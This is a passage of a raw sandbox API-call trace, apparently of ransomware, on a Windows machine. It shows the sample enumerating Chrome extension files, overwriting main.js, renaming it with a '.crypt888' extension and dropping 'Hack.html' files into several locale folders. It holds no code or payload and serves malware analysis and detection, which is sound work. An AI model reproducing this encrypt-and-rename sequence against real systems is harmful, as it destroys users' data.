(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0072.833] GetFileType (hFile=0x174) returned 0x1 [0072.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb00) returned 1 [0072.833] GetFileType (hFile=0x174) returned 0x1 [0072.833] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec0c | out: lpFileSizeHigh=0x39ec0c*=0x0) returned 0x5b [0072.833] ReadFile (in: hFile=0x174, lpBuffer=0x2814254, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ebb8, lpOverlapped=0x0 | out: lpBuffer=0x2814254*, lpNumberOfBytesRead=0x39ebb8*=0x5b, lpOverlapped=0x0) returned 1 [0072.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaec) returned 1 [0072.860] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0072.861] GetFileType (hFile=0x174) returned 0x1 [0072.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eae8) returned 1 [0072.861] GetFileType (hFile=0x174) returned 0x1 [0072.861] WriteFile (in: hFile=0x174, lpBuffer=0x28623a0*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x39eb7c, lpOverlapped=0x0 | out: lpBuffer=0x28623a0*, lpNumberOfBytesWritten=0x39eb7c*=0x60, lpOverlapped=0x0) returned 1 [0072.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb90) returned 1 [0072.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb8c) returned 1 [0072.865] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.crypt888")) returned 1 [0072.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0072.880] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.880] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.880] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.880] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.881] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.881] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.881] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.881] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.881] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.881] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.881] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.882] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.882] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.882] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.882] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.882] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.882] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.882] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.883] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.883] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.883] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.883] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.883] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.883] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.883] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.883] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.884] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.884] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.884] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.884] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.884] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.884] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.884] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.884] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.884] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.885] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.885] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.885] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.885] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.885] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.885] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.885] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.885] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.886] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 0 [0072.886] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebb0) returned 1 [0072.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebbc) returned 1 [0072.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0072.888] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.888] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.888] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.888] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.888] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.888] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.889] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.889] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.889] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.889] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.889] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.889] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.889] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.889] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.890] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.890] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.890] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.890] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.890] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.890] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.890] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.890] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.890] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.891] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.891] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.891] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.891] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.891] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.891] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.891] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.891] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.892] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.892] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.892] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.892] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.892] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.892] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.892] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.892] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.893] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.893] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.893] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.893] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.893] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 0 [0072.893] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebb0) returned 1 [0072.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebbc) returned 1 [0072.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.895] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.896] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.896] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.896] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.896] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.896] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.897] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.897] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.897] GetFileType (hFile=0x174) returned 0x1 [0072.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.898] GetFileType (hFile=0x174) returned 0x1 [0072.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.899] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.899] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.900] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.900] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.900] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.900] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.900] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.901] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.901] GetFileType (hFile=0x174) returned 0x1 [0072.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.901] GetFileType (hFile=0x174) returned 0x1 [0072.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.904] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.904] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.904] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.904] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.905] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.905] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.905] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.905] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.905] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.906] GetFileType (hFile=0x174) returned 0x1 [0072.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.906] GetFileType (hFile=0x174) returned 0x1 [0072.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.908] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.908] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.908] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.908] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.909] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.909] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.909] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.909] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.910] GetFileType (hFile=0x174) returned 0x1 [0072.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.910] GetFileType (hFile=0x174) returned 0x1 [0072.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.913] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.913] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.913] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.913] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.913] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.913] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.913] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.914] GetFileType (hFile=0x174) returned 0x1 [0072.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.914] GetFileType (hFile=0x174) returned 0x1 [0072.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.915] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.915] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.915] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.915] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.915] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.915] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.915] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.916] GetFileType (hFile=0x174) returned 0x1 [0072.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.916] GetFileType (hFile=0x174) returned 0x1 [0072.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.917] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 